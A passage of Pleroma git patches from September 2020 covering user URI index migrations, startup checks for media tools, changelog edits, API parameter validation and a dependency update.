:citext) - end - - create(unique_index(:users, :uri)) - end - - def don do - drop(unique_index(:users, :uri)) - - alter table(:users) do - modify(:uri, :text) - end + def change do + # Migration retired, see + # https://git.pleroma.social/pleroma/pleroma/-/issues/2188 + :noop end end diff --git a/priv/repo/migrations/20200928145912_revert_citext_change.exs b/priv/repo/migrations/20200928145912_revert_citext_change.exs new file mode 100644 index 000000000..ab232f607 --- /dev/null +++ b/priv/repo/migrations/20200928145912_revert_citext_change.exs @@ -0,0 +1,11 @@ +defmodule Pleroma.Repo.Migrations.RevertCitextChange do + use Ecto.Migration + + def change do + alter table(:users) do + modify(:uri, :text) + end + + create_if_not_exists(unique_index(:users, :uri)) + end +end diff --git a/test/user_search_test.exs b/test/user_search_test.exs index b99a77b57..cc14e9741 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -41,7 +41,7 @@ test "returns a user with matching uri as the first result" do insert(:user, %{ nickname: "no_relation", ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@Lain" + uri: "https://lain.com/@lain" }) _user = insert(:user, %{nickname: "com_user"}) -- cgit v1.2.3 From ba7f9459b4798388eb4e441d096302c018354033 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 28 Sep 2020 18:22:59 -0500 Subject: Revert Rich Media censorship for sensitive statuses The #NSFW hashtag test was broken anyway. --- lib/pleroma/web/rich_media/helpers.ex | 1 - test/web/rich_media/helpers_test.exs | 35 ----------------------------------- 2 files changed, 36 deletions(-) diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index d7a19df4a..d67b594b5 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -57,7 +57,6 @@ defp get_tld(host) do def fetch_data_for_object(object) do with true <- Config.get([:rich_media, :enabled]), - false <- object.data["sensitive"] || false, {:ok, page_url} <- HTML.extract_first_external_url_from_object(object), :ok <- validate_page_url(page_url), diff --git a/test/web/rich_media/helpers_test.exs b/test/web/rich_media/helpers_test.exs index 8264a9c41..4b97bd66b 100644 --- a/test/web/rich_media/helpers_test.exs +++ b/test/web/rich_media/helpers_test.exs @@ -64,41 +64,6 @@ test "crawls valid, complete URLs" do Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) end - test "refuses to crawl URLs from posts marked sensitive" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "http://example.com/ogp", - sensitive: true - }) - - %Object{} = object = Object.normalize(activity) - - assert object.data["sensitive"] - - Config.put([:rich_media, :enabled], true) - - assert %{} = Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl URLs from posts tagged NSFW" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "http://example.com/ogp #nsfw" - }) - - %Object{} = object = Object.normalize(activity) - - assert object.data["sensitive"] - - Config.put([:rich_media, :enabled], true) - - assert %{} = Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - test "refuses to crawl URLs of private network from posts" do user = insert(:user) -- cgit v1.2.3 From 7d5c3883acafc2c84f65f38dd639d4999f14215a Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 29 Sep 2020 16:28:06 +0300 Subject: [#3031] Refactoring: moved system commands checks to ApplicationRequirements. --- lib/pleroma/application.ex | 34 ---------------- lib/pleroma/application_requirements.ex | 72 ++++++++++++++++++++++++++++++--- 2 files changed, 67 insertions(+), 39 deletions(-) diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index d7d8e423e..e73d89350 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -56,7 +56,6 @@ def start(_type, _args) do Pleroma.ApplicationRequirements.verify!() setup_instrumenters() load_custom_modules() - check_system_commands() Pleroma.Docs.JSON.compile() adapter = Application.get_env(:tesla, :adapter) @@ -260,37 +259,4 @@ defp http_children(Tesla.Adapter.Gun, _) do end defp http_children(_, _), do: [] - - defp check_system_commands do - filters = Config.get([Pleroma.Upload, :filters]) - - check_filter = fn filter, command_required -> - with true <- filter in filters, - false <- Pleroma.Utils.command_available?(command_required) do - Logger.error( - "#{filter} is specified in list of Pleroma.Upload filters, but the " <> - "#{command_required} command is not found" - ) - end - end - - check_filter.(Pleroma.Upload.Filters.Exiftool, "exiftool") - check_filter.(Pleroma.Upload.Filters.Mogrify, "mogrify") - check_filter.(Pleroma.Upload.Filters.Mogrifun, "mogrify") - - with true <- Config.get([:media_preview_proxy, :enabled]), - missing_graphics_tools = Pleroma.Helpers.MediaHelper.missing_dependencies(), - [] <- missing_graphics_tools do - :noop - else - false -> - :noop - - missing_graphics_tools -> - Logger.error( - "The following dependencies required by Media preview proxy " <> - "(which is currently enabled) are not installed: #{inspect(missing_graphics_tools)}" - ) - end - end end diff --git a/lib/pleroma/application_requirements.ex b/lib/pleroma/application_requirements.ex index 16f62b6f5..b977257a3 100644 --- a/lib/pleroma/application_requirements.ex +++ b/lib/pleroma/application_requirements.ex @@ -9,6 +9,9 @@ defmodule Pleroma.ApplicationRequirements do defmodule VerifyError, do: defexception([:message]) + alias Pleroma.Config + alias Pleroma.Helpers.MediaHelper + import Ecto.Query require Logger @@ -16,7 +19,8 @@ defmodule VerifyError, do: defexception([:message]) @spec verify!() :: :ok | VerifyError.t() def verify! do :ok - |> check_confirmation_accounts! + |> check_system_commands!() + |> check_confirmation_accounts!() |> check_migrations_applied!() |> check_welcome_message_config!() |> check_rum!() @@ -48,7 +52,9 @@ def check_confirmation_accounts!(:ok) do if Pleroma.Config.get([:instance, :account_activation_required]) && not Pleroma.Config.get([Pleroma.Emails.Mailer, :enabled]) do Logger.error( - "Account activation enabled, but no Mailer settings enabled.\nPlease set config :pleroma, :instance, account_activation_required: false\nOtherwise setup and enable Mailer." + "Account activation enabled, but no Mailer settings enabled.\n" <> + "Please set config :pleroma, :instance, account_activation_required: false\n" <> + "Otherwise setup and enable Mailer." ) {:error, @@ -81,7 +87,9 @@ def check_migrations_applied!(:ok) do Enum.map(down_migrations, fn {:down, id, name} -> "- #{name} (#{id})\n" end) Logger.error( - "The following migrations were not applied:\n#{down_migrations_text}If you want to start Pleroma anyway, set\nconfig :pleroma, :i_am_aware_this_may_cause_data_loss, disable_migration_check: true" + "The following migrations were not applied:\n#{down_migrations_text}" <> + "If you want to start Pleroma anyway, set\n" <> + "config :pleroma, :i_am_aware_this_may_cause_data_loss, disable_migration_check: true" ) {:error, "Unapplied Migrations detected"} @@ -124,14 +132,22 @@ defp do_check_rum!(setting, migrate) do case {setting, migrate} do {true, false} -> Logger.error( - "Use `RUM` index is enabled, but were not applied migrations for it.\nIf you want to start Pleroma anyway, set\nconfig :pleroma, :database, rum_enabled: false\nOtherwise apply the following migrations:\n`mix ecto.migrate --migrations-path priv/repo/optional_migrations/rum_indexing/`" + "Use `RUM` index is enabled, but were not applied migrations for it.\n" <> + "If you want to start Pleroma anyway, set\n" <> + "config :pleroma, :database, rum_enabled: false\n" <> + "Otherwise apply the following migrations:\n" <> + "`mix ecto.migrate --migrations-path priv/repo/optional_migrations/rum_indexing/`" ) {:error, "Unapplied RUM Migrations detected"} {false, true} -> Logger.error( - "Detected applied migrations to use `RUM` index, but `RUM` isn't enable in settings.\nIf you want to use `RUM`, set\nconfig :pleroma, :database, rum_enabled: true\nOtherwise roll `RUM` migrations back.\n`mix ecto.rollback --migrations-path priv/repo/optional_migrations/rum_indexing/`" + "Detected applied migrations to use `RUM` index, but `RUM` isn't enable in settings.\n" <> + "If you want to use `RUM`, set\n" <> + "config :pleroma, :database, rum_enabled: true\n" <> + "Otherwise roll `RUM` migrations back.\n" <> + "`mix ecto.rollback --migrations-path priv/repo/optional_migrations/rum_indexing/`" ) {:error, "RUM Migrations detected"} @@ -140,4 +156,50 @@ defp do_check_rum!(setting, migrate) do :ok end end + + defp check_system_commands!(:ok) do + filter_commands_statuses = [ + check_filter(Pleroma.Upload.Filters.Exiftool, "exiftool"), + check_filter(Pleroma.Upload.Filters.Mogrify, "mogrify"), + check_filter(Pleroma.Upload.Filters.Mogrifun, "mogrify") + ] + + preview_proxy_commands_status = + if !Config.get([:media_preview_proxy, :enabled]) or + MediaHelper.missing_dependencies() == [] do + true + else + Logger.error( + "The following dependencies required by Media preview proxy " <> + "(which is currently enabled) are not installed: " <> + inspect(MediaHelper.missing_dependencies()) + ) + + false + end + + if Enum.all?([preview_proxy_commands_status | filter_commands_statuses], & &1) do + :ok + else + {:error, + "System commands missing. Check logs and see `docs/installation` for more details."} + end + end + + defp check_system_commands!(result), do: result + + defp check_filter(filter, command_required) do + filters = Config.get([Pleroma.Upload, :filters]) + + if filter in filters and not Pleroma.Utils.command_available?(command_required) do + Logger.error( + "#{filter} is specified in list of Pleroma.Upload filters, but the " <> + "#{command_required} command is not found" + ) + + false + else + true + end + end end -- cgit v1.2.3 From 9a56ec25cb4de1284a03cac156a7664bd65b628f Mon Sep 17 00:00:00 2001 From: lain Date: Tue, 29 Sep 2020 16:24:02 +0200 Subject: Changelog: Add info about relay unfollowing --- CHANGELOG.md | 1 + docs/API/admin_api.md | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 80fbc078d..0d3daa60e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Added - Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) - Mix task for sending confirmation emails to all unconfirmed users (`mix pleroma.email send_confirmation_mails`) +- Mix task option for force-unfollowing relays ### Changed diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index ddcab1a2c..7bf13daef 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -351,7 +351,7 @@ Response: - Params: - `relay_url` - - *optional* `force`: forcefully unfollow a relay even when the relay is not available. (default is `false`) + - *optional* `force`: forcefully unfollow a relay even when the relay is not available. (default is `false`) Response: -- cgit v1.2.3 From a24f80badf2c24a12de1e99a429aa23e2b40b40c Mon Sep 17 00:00:00 2001 From: lain Date: Tue, 29 Sep 2020 14:30:18 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e5f8a504..8b0f72eb3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,7 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** Introduced dependencies on `ffmpeg` and `ImageMagick` software packages. Please refer to documentation in `docs/installation`. ### Added -- Media preview proxy (requires `ffmpeg` and `ImageMagick` be installed and media proxy be enabled; see `:media_preview_proxy` config for more details). +- Media preview proxy (requires `ffmpeg` and `ImageMagick` to be installed and media proxy to be enabled; see `:media_preview_proxy` config for more details). - Pleroma API: Importing the mutes users from CSV files. - Experimental websocket-based federation between Pleroma instances. - Admin API: Importing emoji from a zip file -- cgit v1.2.3 From ae262846389aabfc71c12c2eb903cbe367140184 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 29 Sep 2020 17:34:49 +0300 Subject: [#3031] Adjusted changelog entry. --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8b0f72eb3..f11585113 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,7 +12,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. - Users with the `discoverable` field set to false will not show up in searches. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). -- **Breaking:** Introduced dependencies on `ffmpeg` and `ImageMagick` software packages. Please refer to documentation in `docs/installation`. +- Introduced optional dependencies on `ffmpeg`, `ImageMagick`, `exiftool` software packages. Please refer to `docs/installation/optional/media_graphics_packages.md`. ### Added - Media preview proxy (requires `ffmpeg` and `ImageMagick` to be installed and media proxy to be enabled; see `:media_preview_proxy` config for more details). -- cgit v1.2.3 From b3a9ba09ec5867d240c3769ae4c3fbf598f68d92 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 29 Sep 2020 12:16:15 -0500 Subject: More robust expires_at timestamp processing --- lib/pleroma/user.ex | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 71ace1c34..09ea80793 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -2291,7 +2291,9 @@ def remove_pinnned_activity(user, %Pleroma.Activity{id: id, data: data}) do # if pinned activity was scheduled for deletion, we reschedule it for deletion if data["expires_at"] do - {:ok, expires_at, _} = DateTime.from_iso8601(data["expires_at"]) + # MRF.ActivityExpirationPolicy used UTC timestamps for expires_at in original implementation + {:ok, expires_at} = + data["expires_at"] |> Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime.cast() Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ activity_id: id, -- cgit v1.2.3 From 006b62fd12adadbf698419990ab13bf6f1e901b2 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 29 Sep 2020 21:49:04 +0300 Subject: OpenAPI CastAndValidate: filter out empty params Closes #2198 --- CHANGELOG.md | 5 +++++ lib/pleroma/web/api_spec/cast_and_validate.ex | 4 ++++ 2 files changed, 9 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 80fbc078d..983ddd628 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -37,6 +37,11 @@ switched to a new configuration mechanism, however it was not officially removed - Add documented-but-missing chat pagination. - Allow sending out emails again. +## Unreleased (Patch) + +### Changed +- API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. + ## [2.1.2] - 2020-09-17 ### Security diff --git a/lib/pleroma/web/api_spec/cast_and_validate.ex b/lib/pleroma/web/api_spec/cast_and_validate.ex index fbfc27d6f..6d1a7ebbc 100644 --- a/lib/pleroma/web/api_spec/cast_and_validate.ex +++ b/lib/pleroma/web/api_spec/cast_and_validate.ex @@ -115,6 +115,10 @@ defp cast_and_validate(spec, operation, conn, content_type, false = _strict) do %{reason: :unexpected_field, name: name, path: [name]}, params -> Map.delete(params, name) + # Filter out empty params + %{reason: :invalid_type, path: [name_atom], value: ""}, params -> + Map.delete(params, to_string(name_atom)) + %{reason: :invalid_enum, name: nil, path: path, value: value}, params -> path = path |> Enum.reverse() |> tl() |> Enum.reverse() |> list_items_to_string() update_in(params, path, &List.delete(&1, value)) -- cgit v1.2.3 From 0e57f133650ffe3cdd191a49a2c9f0ae6d2e1e54 Mon Sep 17 00:00:00 2001 From: Angelina Filippova Date: Tue, 29 Sep 2020 20:32:55 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- config/description.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/description.exs b/config/description.exs index be9cb0a16..8656e4575 100644 --- a/config/description.exs +++ b/config/description.exs @@ -44,7 +44,7 @@ }, %{ key: "git", - label: "Git", + label: "Git Repository URL" type: :string, description: "URL of the git repository of the frontend" }, -- cgit v1.2.3 From 1b2f7139c87557e63743fb592a7015adaf277f93 Mon Sep 17 00:00:00 2001 From: Angelina Filippova Date: Tue, 29 Sep 2020 20:33:04 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- config/description.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/description.exs b/config/description.exs index 8656e4575..14478a119 100644 --- a/config/description.exs +++ b/config/description.exs @@ -58,7 +58,7 @@ }, %{ key: "build_dir", - label: "Build Dir", + label: "Build directory" type: :string, description: "The directory inside the zip file " } -- cgit v1.2.3 From fe1975064446121a6d1f6c709b1a31c30aaa121a Mon Sep 17 00:00:00 2001 From: Angelina Filippova Date: Wed, 30 Sep 2020 00:49:08 +0300 Subject: Fix comma typo --- config/description.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/description.exs b/config/description.exs index 14478a119..dd9e46c08 100644 --- a/config/description.exs +++ b/config/description.exs @@ -44,7 +44,7 @@ }, %{ key: "git", - label: "Git Repository URL" + label: "Git Repository URL", type: :string, description: "URL of the git repository of the frontend" }, -- cgit v1.2.3 From d96b8923f631d26469de9264c3e493a69cf605dd Mon Sep 17 00:00:00 2001 From: Angelina Filippova Date: Wed, 30 Sep 2020 00:50:53 +0300 Subject: Fix typo --- config/description.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/description.exs b/config/description.exs index dd9e46c08..6fa78a5d1 100644 --- a/config/description.exs +++ b/config/description.exs @@ -58,7 +58,7 @@ }, %{ key: "build_dir", - label: "Build directory" + label: "Build directory", type: :string, description: "The directory inside the zip file " } -- cgit v1.2.3 From 90fee49c52799a7d6ad890ecc49d146ab6ad8455 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 30 Sep 2020 14:14:41 +0200 Subject: User search: Once again, change uri handling. They can indeed be non-unique. --- lib/pleroma/user/search.ex | 5 +++-- .../migrations/20200930082320_user_ur_is_index_part_three.exs | 8 ++++++++ test/user_search_test.exs | 6 ++++++ 3 files changed, 17 insertions(+), 2 deletions(-) create mode 100644 priv/repo/migrations/20200930082320_user_ur_is_index_part_three.exs diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index 03f2c552f..35a828008 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -54,8 +54,9 @@ defp maybe_add_ap_id_match(list, query) do defp maybe_add_uri_match(list, query) do with {:ok, query} <- UriType.cast(query), - %User{} = user <- Pleroma.Repo.get_by(User, uri: query) do - [user.id | list] + q = from(u in User, where: u.uri == ^query, select: u.id), + users = Pleroma.Repo.all(q) do + users ++ list else _ -> list end diff --git a/priv/repo/migrations/20200930082320_user_ur_is_index_part_three.exs b/priv/repo/migrations/20200930082320_user_ur_is_index_part_three.exs new file mode 100644 index 000000000..816c6526e --- /dev/null +++ b/priv/repo/migrations/20200930082320_user_ur_is_index_part_three.exs @@ -0,0 +1,8 @@ +defmodule Pleroma.Repo.Migrations.UserURIsIndexPartThree do + use Ecto.Migration + + def change do + drop_if_exists(unique_index(:users, :uri)) + create_if_not_exists(index(:users, :uri)) + end +end diff --git a/test/user_search_test.exs b/test/user_search_test.exs index cc14e9741..c4b805005 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -36,6 +36,12 @@ test "returns a user with matching ap_id as the first result" do assert first_user.id == user.id end + test "doesn't die if two users have the same uri" do + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") + end + test "returns a user with matching uri as the first result" do user = insert(:user, %{ -- cgit v1.2.3 From 1ae39441e6d516f8f1a0dd3ed47de9d8427477c5 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 30 Sep 2020 14:17:21 +0200 Subject: Migrations: Nullify old unique index on users.uri --- priv/repo/migrations/20200928145912_revert_citext_change.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/priv/repo/migrations/20200928145912_revert_citext_change.exs b/priv/repo/migrations/20200928145912_revert_citext_change.exs index ab232f607..685a98533 100644 --- a/priv/repo/migrations/20200928145912_revert_citext_change.exs +++ b/priv/repo/migrations/20200928145912_revert_citext_change.exs @@ -6,6 +6,6 @@ def change do modify(:uri, :text) end - create_if_not_exists(unique_index(:users, :uri)) + # create_if_not_exists(unique_index(:users, :uri)) end end -- cgit v1.2.3 From cee1883b35b5453782bea1e34ff9cbf1bde52f7c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 30 Sep 2020 07:53:19 -0500 Subject: Update Oban to 2.1.0 --- mix.exs | 2 +- mix.lock | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/mix.exs b/mix.exs index 18f748672..b9ce8c500 100644 --- a/mix.exs +++ b/mix.exs @@ -122,7 +122,7 @@ defp deps do {:ecto_enum, "~> 1.4"}, {:ecto_sql, "~> 3.4.4"}, {:postgrex, ">= 0.15.5"}, - {:oban, "~> 2.0.0"}, + {:oban, "~> 2.1.0"}, {:gettext, "~> 0.18"}, {:pbkdf2_elixir, "~> 1.2"}, {:bcrypt_elixir, "~> 2.2"}, diff --git a/mix.lock b/mix.lock index adb3f024a..2603f70c0 100644 --- a/mix.lock +++ b/mix.lock @@ -24,11 +24,11 @@ "crypt": {:git, "https://github.com/msantos/crypt.git", "f63a705f92c26955977ee62a313012e309a4d77a", [ref: "f63a705f92c26955977ee62a313012e309a4d77a"]}, "custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm", "8df019facc5ec9603e94f7270f1ac73ddf339f56ade76a721eaa57c1493ba463"}, "db_connection": {:hex, :db_connection, "2.2.2", "3bbca41b199e1598245b716248964926303b5d4609ff065125ce98bcd368939e", [:mix], [{:connection, "~> 1.0.2", [hex: :connection, repo: "hexpm", optional: false]}], "hexpm", "642af240d8a8affb93b4ba5a6fcd2bbcbdc327e1a524b825d383711536f8070c"}, - "decimal": {:hex, :decimal, "1.8.1", "a4ef3f5f3428bdbc0d35374029ffcf4ede8533536fa79896dd450168d9acdf3c", [:mix], [], "hexpm", "3cb154b00225ac687f6cbd4acc4b7960027c757a5152b369923ead9ddbca7aec"}, + "decimal": {:hex, :decimal, "2.0.0", "a78296e617b0f5dd4c6caf57c714431347912ffb1d0842e998e9792b5642d697", [:mix], [], "hexpm", "34666e9c55dea81013e77d9d87370fe6cb6291d1ef32f46a1600230b1d44f577"}, "deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm", "ce708e5f094b9cd4e8f2be4f00d2f4250c4095be93f8cd6d018c753894885430"}, "earmark": {:hex, :earmark, "1.4.3", "364ca2e9710f6bff494117dbbd53880d84bebb692dafc3a78eb50aa3183f2bfd", [:mix], [], "hexpm", "8cf8a291ebf1c7b9539e3cddb19e9cef066c2441b1640f13c34c1d3cfc825fec"}, "earmark_parser": {:hex, :earmark_parser, "1.4.10", "6603d7a603b9c18d3d20db69921527f82ef09990885ed7525003c7fe7dc86c56", [:mix], [], "hexpm", "8e2d5370b732385db2c9b22215c3f59c84ac7dda7ed7e544d7c459496ae519c0"}, - "ecto": {:hex, :ecto, "3.4.5", "2bcd262f57b2c888b0bd7f7a28c8a48aa11dc1a2c6a858e45dd8f8426d504265", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "8c6d1d4d524559e9b7a062f0498e2c206122552d63eacff0a6567ffe7a8e8691"}, + "ecto": {:hex, :ecto, "3.4.6", "08f7afad3257d6eb8613309af31037e16c36808dfda5a3cd0cb4e9738db030e4", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "6f13a9e2a62e75c2dcfc7207bfc65645ab387af8360db4c89fee8b5a4bf3f70b"}, "ecto_enum": {:hex, :ecto_enum, "1.4.0", "d14b00e04b974afc69c251632d1e49594d899067ee2b376277efd8233027aec8", [:mix], [{:ecto, ">= 3.0.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:ecto_sql, "> 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:mariaex, ">= 0.0.0", [hex: :mariaex, repo: "hexpm", optional: true]}, {:postgrex, ">= 0.0.0", [hex: :postgrex, repo: "hexpm", optional: true]}], "hexpm", "8fb55c087181c2b15eee406519dc22578fa60dd82c088be376d0010172764ee4"}, "ecto_sql": {:hex, :ecto_sql, "3.4.5", "30161f81b167d561a9a2df4329c10ae05ff36eca7ccc84628f2c8b9fa1e43323", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0 or ~> 0.4.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.0", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "31990c6a3579b36a3c0841d34a94c275e727de8b84f58509da5f1b2032c98ac2"}, "eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"}, @@ -59,7 +59,7 @@ "httpoison": {:hex, :httpoison, "1.6.2", "ace7c8d3a361cebccbed19c283c349b3d26991eff73a1eaaa8abae2e3c8089b6", [:mix], [{:hackney, "~> 1.15 and >= 1.15.2", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "aa2c74bd271af34239a3948779612f87df2422c2fdcfdbcec28d9c105f0773fe"}, "idna": {:hex, :idna, "6.0.0", "689c46cbcdf3524c44d5f3dde8001f364cd7608a99556d8fbd8239a5798d4c10", [:rebar3], [{:unicode_util_compat, "0.4.1", [hex: :unicode_util_compat, repo: "hexpm", optional: false]}], "hexpm", "4bdd305eb64e18b0273864920695cb18d7a2021f31a11b9c5fbcd9a253f936e2"}, "inet_cidr": {:hex, :inet_cidr, "1.0.4", "a05744ab7c221ca8e395c926c3919a821eb512e8f36547c062f62c4ca0cf3d6e", [:mix], [], "hexpm", "64a2d30189704ae41ca7dbdd587f5291db5d1dda1414e0774c29ffc81088c1bc"}, - "jason": {:hex, :jason, "1.2.1", "12b22825e22f468c02eb3e4b9985f3d0cb8dc40b9bd704730efa11abd2708c44", [:mix], [{:decimal, "~> 1.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "b659b8571deedf60f79c5a608e15414085fa141344e2716fbd6988a084b5f993"}, + "jason": {:hex, :jason, "1.2.2", "ba43e3f2709fd1aa1dce90aaabfd039d000469c05c56f0b8e31978e03fa39052", [:mix], [{:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "18a228f5f0058ee183f29f9eae0805c6e59d61c3b006760668d8d18ff0d12179"}, "joken": {:hex, :joken, "2.2.0", "2daa1b12be05184aff7b5ace1d43ca1f81345962285fff3f88db74927c954d3a", [:mix], [{:jose, "~> 1.9", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "b4f92e30388206f869dd25d1af628a1d99d7586e5cf0672f64d4df84c4d2f5e9"}, "jose": {:hex, :jose, "1.10.1", "16d8e460dae7203c6d1efa3f277e25b5af8b659febfc2f2eb4bacf87f128b80a", [:mix, :rebar3], [], "hexpm", "3c7ddc8a9394b92891db7c2771da94bf819834a1a4c92e30857b7d582e2f8257"}, "jumper": {:hex, :jumper, "1.0.1", "3c00542ef1a83532b72269fab9f0f0c82bf23a35e27d278bfd9ed0865cecabff", [:mix], [], "hexpm", "318c59078ac220e966d27af3646026db9b5a5e6703cb2aa3e26bcfaba65b7433"}, @@ -79,7 +79,7 @@ "nimble_parsec": {:hex, :nimble_parsec, "0.6.0", "32111b3bf39137144abd7ba1cce0914533b2d16ef35e8abc5ec8be6122944263", [:mix], [], "hexpm", "27eac315a94909d4dc68bc07a4a83e06c8379237c5ea528a9acff4ca1c873c52"}, "nimble_pool": {:hex, :nimble_pool, "0.1.0", "ffa9d5be27eee2b00b0c634eb649aa27f97b39186fec3c493716c2a33e784ec6", [:mix], [], "hexpm", "343a1eaa620ddcf3430a83f39f2af499fe2370390d4f785cd475b4df5acaf3f9"}, "nodex": {:git, "https://git.pleroma.social/pleroma/nodex", "cb6730f943cfc6aad674c92161be23a8411f15d1", [ref: "cb6730f943cfc6aad674c92161be23a8411f15d1"]}, - "oban": {:hex, :oban, "2.0.0", "e6ce70d94dd46815ec0882a1ffb7356df9a9d5b8a40a64ce5c2536617a447379", [:mix], [{:ecto_sql, ">= 3.4.3", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "cf574813bd048b98a698aa587c21367d2e06842d4e1b1993dcd6a696e9e633bd"}, + "oban": {:hex, :oban, "2.1.0", "034144686f7e76a102b5d67731f098d98a9e4a52b07c25ad580a01f83a7f1cf5", [:mix], [{:ecto_sql, ">= 3.4.3", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.14", [hex: :postgrex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", 